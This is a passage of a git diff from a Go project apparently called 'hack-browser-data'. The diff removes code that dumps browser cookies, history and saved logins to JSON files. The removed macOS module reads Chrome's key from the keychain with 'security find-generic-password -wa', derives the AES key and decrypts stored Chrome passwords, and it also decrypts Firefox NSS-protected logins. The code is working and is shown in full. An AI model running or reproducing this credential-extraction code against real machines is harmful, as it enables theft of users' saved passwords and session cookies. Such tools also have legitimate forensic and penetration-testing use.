- enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - err = enc.Encode(b.CookieMap) - if err != nil { - log.Debug(err) - } - file.Write(w.Bytes()) - fmt.Printf("%s Get %d cookies, filename is %s \n", log.Prefix, len(b.CookieMap), filename) - fallthrough - case len(b.HistorySlice) != 0: - filename := utils.FormatFileName(dir, browser, utils.History, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - err = enc.Encode(b.HistorySlice) - if err != nil { - log.Debug(err) - } - file.Write(w.Bytes()) - fmt.Printf("%s Get %d history, filename is %s \n", log.Prefix, len(b.HistorySlice), filename) - fallthrough - case len(b.LoginDataSlice) != 0: - filename := utils.FormatFileName(dir, browser, utils.LoginData, format) - file, err := os.OpenFile(filename, os.O_RDWR|os.O_CREATE|os.O_TRUNC|os.O_APPEND, 0644) - defer file.Close() - if err != nil { - log.Errorf("create file %s fail", filename) - } - w := new(bytes.Buffer) - enc := json.NewEncoder(w) - enc.SetEscapeHTML(false) - enc.SetIndent("", "\t") - err = enc.Encode(b.LoginDataSlice) - if err != nil { - log.Debug(err) - } - file.Write(w.Bytes()) - fmt.Printf("%s Get %d login data, filename is %s \n", log.Prefix, len(b.LoginDataSlice), filename) - } - return nil -} - -func (b BrowserData) Sorted() { - sort.Slice(b.BookmarkSlice, func(i, j int) bool { - return b.BookmarkSlice[i].ID < b.BookmarkSlice[j].ID - }) - sort.Slice(b.HistorySlice, func(i, j int) bool { - return b.HistorySlice[i].VisitCount > b.HistorySlice[j].VisitCount - }) - sort.Sort(b.LoginDataSlice) -} diff --git a/core/sort.go b/core/sort.go deleted file mode 100644 index d9fd061..0000000 --- a/core/sort.go +++ /dev/null @@ -1,13 +0,0 @@ -package core - -func (l LoginDataSlice) Len() int { - return len(l) -} - -func (l LoginDataSlice) Less(i, j int) bool { - return l[i].CreateDate.After(l[j].CreateDate) -} - -func (l LoginDataSlice) Swap(i, j int) { - l[i], l[j] = l[j], l[i] -} diff --git a/utils/utils.go b/utils/utils.go index dc995c6..e7786af 100644 --- a/utils/utils.go +++ b/utils/utils.go @@ -5,7 +5,6 @@ import ( "crypto/cipher" "crypto/des" "encoding/asn1" - "errors" "fmt" "hack-browser-data/log" "io/ioutil" @@ -16,13 +15,6 @@ import ( "time" ) -var ( - errPasswordIsEmpty = errors.New("decrypt failed, password is empty") - errBrowserNotSupported = errors.New("browser not supported") - errKeyIsEmpty = errors.New("input [security find-generic-password -wa 'Chrome'] in terminal") - VersionUnder80 bool -) - type DecryptError struct { err error msg string @@ -53,13 +45,6 @@ const ( FirefoxKey3DB = "key3.db" ) -func ListBrowser() []string { - var l []string - for k := range browserList { - l = append(l, k) - } - return l -} func GetDBPath(dir string, dbName ...string) (dbFile []string) { for _, v := range dbName { @@ -122,7 +107,7 @@ func TimeStampFormat(stamp int64) time.Time { func TimeEpochFormat(epoch int64) time.Time { maxTime := int64(99633311740000000) if epoch > maxTime { - epoch = maxTime + return time.Date(2049, 1, 1, 1, 1, 1, 1, time.Local) } t := time.Date(1601, 1, 1, 0, 0, 0, 0, time.UTC) d := time.Duration(epoch) @@ -156,9 +141,9 @@ func WriteFile(filename string, data []byte) error { } func FormatFileName(dir, browser, filename, format string) string { - r := strings.TrimSpace(strings.ToLower(filename)) - r = strings.Replace(r, " ", "_", -1) - p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, browser, format)) + r := strings.TrimSpace(strings.ToLower(browser)) + r = strings.Replace(browser, " ", "_", -1) + p := path.Join(dir, fmt.Sprintf("%s_%s.%s", r, filename, format)) return p } diff --git a/utils/utils_darwin.go b/utils/utils_darwin.go deleted file mode 100644 index 1df7c74..0000000 --- a/utils/utils_darwin.go +++ /dev/null @@ -1,190 +0,0 @@ -package utils - -import ( - "bytes" - "crypto/hmac" - "crypto/sha1" - "encoding/asn1" - "encoding/hex" - "errors" - "hack-browser-data/log" - "os/exec" - "strings" - - "golang.org/x/crypto/pbkdf2" -) - -const ( - chromeProfilePath = "/Users/*/Library/Application Support/Google/Chrome/*/" - chromeCommand = "Chrome" - edgeProfilePath = "/Users/*/Library/Application Support/Microsoft Edge/*/" - edgeCommand = "Microsoft Edge" - fireFoxProfilePath = "/Users/*/Library/Application Support/Firefox/Profiles/*.default-release/" - fireFoxCommand = "" -) - -var ( - iv = []byte{32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32} - command = []string{"security", "find-generic-password", "-wa"} - chromeSalt = []byte("saltysalt") - chromeKey []byte - browserList = map[string]struct { - ProfilePath string - Command string - }{ - "chrome": { - chromeProfilePath, - chromeCommand, - }, - "edge": { - edgeProfilePath, - edgeCommand, - }, - "firefox": { - fireFoxProfilePath, - fireFoxCommand, - }, - } -) - -func DecryptStringWithDPAPI(data []byte) (string, error) { - return string(data), nil -} - -func PickBrowser(name string) (browserDir, command string, err error) { - name = strings.ToLower(name) - if choice, ok := browserList[name]; ok { - return choice.ProfilePath, choice.Command, err - } - return "", "", errBrowserNotSupported -} - -func InitKey(key string) error { - var ( - cmd *exec.Cmd - stdout, stderr bytes.Buffer - ) - cmd = exec.Command(command[0], command[1], command[2], key) - cmd.Stdout = &stdout - cmd.Stderr = &stderr - err := cmd.Run() - if err != nil { - log.Error(err) - return err - } - if stderr.Len() > 0 { - err = errors.New(stderr.String()) - log.Error(err) - } - temp := stdout.Bytes() - chromePass := temp[:len(temp)-1] - decryptChromeKey(chromePass) - return err -} - -func decryptChromeKey(chromePass []byte) { - chromeKey = pbkdf2.Key(chromePass, chromeSalt, 1003, 16, sha1.New) -} - -func DecryptChromePass(encryptPass []byte) (string, error) { - if len(encryptPass) > 3 { - if len(chromeKey) == 0 { - return "", errKeyIsEmpty - } - m, err := aes128CBCDecrypt(chromeKey, iv, encryptPass[3:]) - return string(m), err - } else { - return "", &DecryptError{ - err: errPasswordIsEmpty, - } - } -} - -/* -SEQUENCE (2 elem) - SEQUENCE (2 elem) - OBJECT IDENTIFIER - SEQUENCE (2 elem) - OCTET STRING (20 byte) - INTEGER 1 - OCTET STRING (16 byte) -*/ - -type NssPBE struct { - SequenceA - Encrypted []byte -} - -type MetaPBE struct { - SequenceA - Encrypted []byte -} - -type SequenceA struct { - DecryptMethod asn1.ObjectIdentifier - SequenceB -} - -type SequenceB struct { - EntrySalt []byte - Len int -} - -func DecodeMeta(metaBytes []byte) (pbe MetaPBE, err error) { - log.Debug(hex.EncodeToString(metaBytes)) - _, err = asn1.Unmarshal(metaBytes, &pbe) - if err != nil { - log.Error(err) - return - } - return -} - -func DecodeNss(nssA11Bytes []byte) (pbe NssPBE, err error) { - log.Debug(hex.EncodeToString(nssA11Bytes)) - _, err = asn1.Unmarshal(nssA11Bytes, &pbe) - if err != nil { - log.Error(err) - return - } - return -} - -func DecryptMeta(globalSalt, masterPwd []byte, pbe MetaPBE) ([]byte, error) { - return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) -} - -func DecryptNss(globalSalt, masterPwd []byte, pbe NssPBE) ([]byte, error) { - return decryptPBE(globalSalt, masterPwd, pbe.EntrySalt, pbe.Encrypted) -} - -func decryptPBE(globalSalt, masterPwd, entrySalt, encrypted []byte) ([]byte, error) { - //byte[] GLMP; // GlobalSalt + MasterPassword - //byte[] HP; // SHA1(GLMP) - //byte[] HPES; // HP + EntrySalt - //byte[] CHP; // SHA1(HPES) - //byte[] PES; // EntrySalt completed to 20 bytes by zero - //byte[] PESES; // PES + EntrySalt - //byte[] k1; - //byte[] tk; - //byte[] k2; - //byte[] k; // final value conytaining key and iv - glmp := append(globalSalt, masterPwd...) - hp := sha1.Sum(glmp) - s := append(hp[:], entrySalt...) - chp := sha1.Sum(s) - pes := PaddingZero(entrySalt, 20) - tk := hmac.New(sha1.New, chp[:]) - tk.Write(pes) - pes = append(pes, entrySalt...) - k1 := hmac.New(sha1.New, chp[:]) - k1.Write(pes) - tkPlus := append(tk.Sum(nil), entrySalt...) - k2 := hmac.New(sha1.New, chp[:]) - k2.Write(tkPlus) - k := append(k1.Sum(nil), k2.Sum(nil)...) - iv := k[len(k)-8:] - key := k[:24] - log.Warnf("key=%s iv=%s", hex.EncodeToString(key), hex.EncodeToString(iv)) - return Des3Decrypt(key, iv, encrypted) -}